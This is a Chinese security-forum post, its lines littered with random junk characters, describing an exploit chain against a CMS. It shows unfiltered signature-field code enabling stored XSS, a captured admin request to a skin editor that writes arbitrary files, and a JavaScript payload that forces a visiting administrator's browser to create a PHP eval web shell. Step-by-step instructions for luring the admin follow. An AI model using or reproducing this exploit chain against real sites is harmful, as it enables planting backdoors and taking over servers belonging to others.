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这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题' T) h/ |- [/ i
官网已经修补了,所以重新下了源码
7 `' J7 _4 P" l: t- A因为 后台登入 还需要认证码 所以 注入就没看了。
) }% A2 I" A" I& m, k存在 xss
+ Q( k* \4 G4 r! E% S2 j. C: L I9 D漏洞文件 user/member/skin_edit.php
* M. n/ {& X. h& @: I' S6 n本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
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</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>% u& d* R2 h2 L0 F( ?
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</textarea></td></tr>
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: ^6 g ~( f0 n8 s user/do.php $ e$ x% M2 H* e
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if($op=='zl'){ //资料
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7 J; M* g) a; y if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) ( V) i3 ~7 y% K) Y; z
exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
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$sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
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CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
* d. u; J" Q' M3 D* } where CS_Name='".$cscms_name."'";
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if($db->query($sql)){
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exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
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}else{: q5 r. l k" \) N9 k: k
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exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
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}
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没有 过滤导致xss产生。0 m4 s0 Z- D, g0 b& I
后台 看了下 很奇葩的是可以写任意格式文件。。! o% y# M. X) `2 m
抓包。。
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本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1 t" ]: \4 F+ L7 J! _. `3 l6 A9 ], S/ P
+ m: l$ y( X6 _- O4 X% X( FAccept: text/html, application/xhtml+xml, */*% E4 S E# I, W2 }
' c- z" q$ j+ |# B5 n: R) sReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php; m( r' S$ c/ |" q' S3 w
3 r, n* `4 N4 y4 p0 I jAccept-Language: zh-CN9 H5 _* Y+ r) v9 S: R5 H5 B3 U
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User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
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Content-Type: application/x-www-form-urlencoded6 |; }. ]- u( f _5 ]
6 A+ b7 N. ^1 t3 ^8 O- t* |Accept-Encoding: gzip, deflate7 y& L9 \6 ~( q% K+ v
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Host: 127.0.0.1
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" l" R+ B1 v t, |Content-Length: 38, O9 _1 ]# G* n* y. N
3 }! N, t. Q! Y/ T8 K4 `) kDNT: 1
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Connection: Keep-Alive& w6 g; r+ s% y% b& B0 H/ Z
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Cache-Control: no-cache3 N1 `# |: h' n" z5 y
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Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594; N' g! B6 u( u! {% Q
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: @; Z' p. F9 y, O8 K: mname=aaa.php&content=%3Cs%3E%3Ca%25%3E
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于是 构造js如下。
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本帖隐藏的内容<script> 7 M2 h8 Z& y7 |7 U* ]: {
thisTHost = top.location.hostname;
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: @( Y7 B' s; W) H* XthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
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function PostSubmit(url, data, msg) { . o! ?9 W, i! g6 s. J+ x+ T7 \
var postUrl = url;. E; k" k2 W' I$ }8 c: J- c% ?
$ D$ \8 P2 f% g, _' S7 ]1 i( m5 M var postData = data; 7 ]: Q9 Q4 O4 g
var msgData = msg; 9 x5 B, F" H: F
var ExportForm = document.createElement("FORM");
2 B3 h9 N# l8 A, _# c document.body.appendChild(ExportForm); 7 l9 L% s/ z3 |/ O
ExportForm.method = "POST";
" S) F& f1 |$ [# ~# J var newElement = document.createElement("input"); 6 z+ j& d7 J; e) j# x
newElement.setAttribute("name", "name");
2 R4 N+ i5 i ^5 O+ l% ~4 y3 g newElement.setAttribute("type", "hidden"); : S- Y. l `7 \) }/ Z$ y2 Z) M
var newElement2 = document.createElement("input");
' X4 d, n' s# y* I/ H% d newElement2.setAttribute("name", "content");
9 V6 w; F* F# ?% w* R newElement2.setAttribute("type", "hidden");
( \9 \- r$ X/ M7 c) G$ i ExportForm.appendChild(newElement); % q5 \+ c$ X; L: A$ f
ExportForm.appendChild(newElement2); : V" k3 A. Z/ Q) j, o
newElement.value = postData;
' I) C! P) Z9 B0 k8 v1 W9 x+ z newElement2.value = msgData; 7 r3 _- f& z! b4 s6 t) t
ExportForm.action = postUrl; ! B) U% q8 m" [ |- A( w6 @5 E
ExportForm.submit();
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* T# m9 M. [. `PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");2 W( ~3 X; o' r, u# c4 \" w
+ J( d$ b, g, Y& |9 z& z; v8 c* V</script>
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http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入; I8 H8 f0 `- s, q& Z
用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)
/ J4 |8 _1 n Z2 \ h就会 在 skins\index\html\目录下生成 roker.php 一句话。 |
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